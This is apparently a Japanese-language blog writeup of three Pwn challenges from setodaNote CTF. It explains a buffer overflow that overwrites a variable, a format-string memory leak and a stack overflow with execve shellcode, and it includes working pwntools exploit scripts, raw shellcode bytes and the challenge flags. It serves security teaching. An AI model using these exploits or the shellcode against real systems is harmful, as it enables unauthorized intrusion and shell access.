Tahoo!!

自分の勉強していること(コンピュータ関連 / ネットワーク / セキュリティ / サーバ)や趣味について書いていきます

setodaNote CTF Writeup (Pwn)

この記事は setodaNote CTF のPwnジャンルのWriteupです。

tkys_let_die (100pts, 227solves)

WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルは、実行ファイルとソースコード

ncでアクセスすると文字をデータを入力できる。

user@81d81c2295af:~$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> aaaaaa
Gate is close.
Goodbay aaaaaa.

Cのソースコードが提供されているので、ソースコードを見てみる。(ASCIIアートの部分は省略した)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

変数 gateclose からopen に上書きできれば勝ち。

scanfで32bytesまでデータを取得し変数 name にデータを格納しているが、変数 name は16bytes分しか確保されてないので、buffer overflowの脆弱性がある。

Metasploitに付属ツールであるpattern_create.rbを使って検査用のパターンを32byte分作る

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 32  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab

これを入力してみる。

You'll need permission to pass. What's your name?
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
Gate is 8Aa9Ab.
Goodbay Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab.

Gateの値は 8Aa9Ab となったので、同じくMetasploitに付属ツールであるpattern_offset.rbを使って、この文字列のoffsetを調べる。

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 8Aa9      
[*] Exact match at offset 26

つまり、26個の適当なデータのあとに"open"をつけることで、変数gateoeen に書き換えられる。

user@81d81c2295af:~$ python -c 'print "A"*26+"open"' | nc 10.1.1.10 13020
<..snip..>
You'll need permission to pass. What's your name?
> 
 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

1989 (200pts, 81solves)

WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルはなし。

ncでアクセスすると文字をデータを入力し、入力した内容を表示するようになっている。

user@11ebe1d35999:~$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x56621060] >> flag is here << 
        | 

Ready > aaaaaaaaaa
Your Inpur : aaaaaaaaaa
aaaaaaaaaa

CWE-134はformat strings bugだし、そのまま入力した文字が返ってくるので、特に入力値をチェックしないでprintfを使用してそう。printfのフォーマットストリング (%x) を入れてみると、無事にメモリの情報が読み出せた。

Ready > %x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Your Inpur : fff1fdd0.fff201d8.565b0306.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e78

printfは %N$s とすることで、スタックのN word先(1word = 4bytes。上記の結果であれば、1word先が fff1fdd0 、4word先が252e7825 )に記録されているアドレスのデータを文字列として読み込むことができる。例えば上記であれば、0x252e7825のアドレスに記録されているデータを文字列として表示することができる。

入力された%は0x25, xは0x78, .は0x2eなので、上記の出力されたメモリの情報を見ると4個先に入力した入力されているデータが格納されていることがわかる。

よって、[addr] に表示されているアドレスに格納されているFLAGの文字列を %4%s を用いて表示することができる。

ASLRが有効のためFLAGのアドレスがアクセスするたびに毎回変わるので、プログラムを書いてFLAGのアドレスを動的に読み込んでpayloadを生成する。

from pwn import *
import re

io = remote('10.1.1.10', 13030)
msg = io.recvuntil('Ready > ')
print(msg.decode())

addr_str = re.findall(r'\[0x([0-9a-f]{8})\]', msg.decode())[0]
addr = bytes.fromhex(addr_str)[::-1]
payload = addr + '%4$s\n'.encode()

io.send(payload)
print(io.recv(2048))

io.close()
$ python3 exploit.py 
[+] Opening connection to 10.1.1.10 on port 13030: Done
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x5664d060] >> flag is here << 
        | 

Ready > 
b'Your Inpur : `\xd0dVflag{Homenum_Revelio_1989}\n'
[*] Closed connection to 10.1.1.10 port 13030

shellcode (300pts, 51solves)

WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルは実行ファイル。

ncでアクセスすると、何かのtargetのアドレスが表示され、データを入力できる。

user@30a845725d17:~$ nc 10.1.1.10 13050
       |
target | [0x7ffea2befe20]
       |
Well. Ready for the shellcode?
> aaaaaaaa
aaaaaaaa

とりあえず挙動がわからないので、配布された問題の実行ファイルを解析する。とりあえずfileコマンド。

$ file shellcode
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped

64bitのELFファイル

Ghidraで見てみる。Ghidraはデコンパイルが使えるので、mainの処理をデコンパイルしてみる。

undefined8 main(void)

{
  char local_58 [80];
  
  setvbuf(stdout,local_58,2,0x50);
  puts("       |");
  printf("target | [%p]\n",local_58);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);
  return 0;
}

これにより以下のことがわかる。

  • アクセスした時に表示されたtargetのアドレスは、入力したデータを格納するための変数(buffer)のアドレス
  • bufferの長さは80bytes
  • 入力したデータの長さを検査していない -> Buffer Overflowの脆弱性あり

よって、bufferにshellcodeを格納し、main関数からreturnする先のアドレスをbufferのアドレスに書き換えることでshellcodeを実行できる。

今回作成したのは以下のようなexploitコード。

returnアドレスは、stackの入力したデータを格納するための変数(buffer)のアドレスから80byte+8byteの位置にある^1 ので、80byteのバッファにshellcodeとpadding用のデータを入れて、さらに8byteのpadding用のデータを入れて、書き換えるアドレスをpayloadとして作る。(わかりにくかったら、ローカルでgdbを使ってデバッグして確認しながら進めると良い

shellcodeは、http://shell-storm.org/shellcode/files/shellcode-806.php で公開されているものを使った。

#/usr/bin/env python3

from pwn import *
import re

io = remote('10.1.1.10', 13050)
#io = process('./shellcode')

msg = io.recvuntil('> ')
print(msg.decode())

addr_str = re.findall(r'\[0x([0-9a-f]+)\]', msg.decode())[0]
addr = bytes.fromhex(addr_str)[::-1] + b'\x00\x00'

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = shellcode + b'A'*(80-len(shellcode)) + b'B'*8 + addr

io.sendline(payload)
io.interactive()

実行すると shellが取れてflagが見れる。

user@d450f781413a:~$ python3 exploit.py 
[+] Opening connection to 10.1.1.10 on port 13050: Done
       |
target | [0x7fffae08f050]
       |
Well. Ready for the shellcode?
> 
[*] Switching to interactive mode
 1\xc0H\xbbѝ\x96\x91Ќ\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBP\xf\xae\xff\x7f
$ whoami
user
$ ls /home/user
flag
shellcode
$ cat /home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}